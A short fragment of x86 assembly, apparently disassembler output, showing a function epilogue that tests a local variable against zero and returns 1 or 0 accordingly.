cmp dword [ebp - 8], 0
je 0x406808
mov eax, 1
jmp 0x40680a
xor eax, eax
mov esp, ebp
pop ebp
ret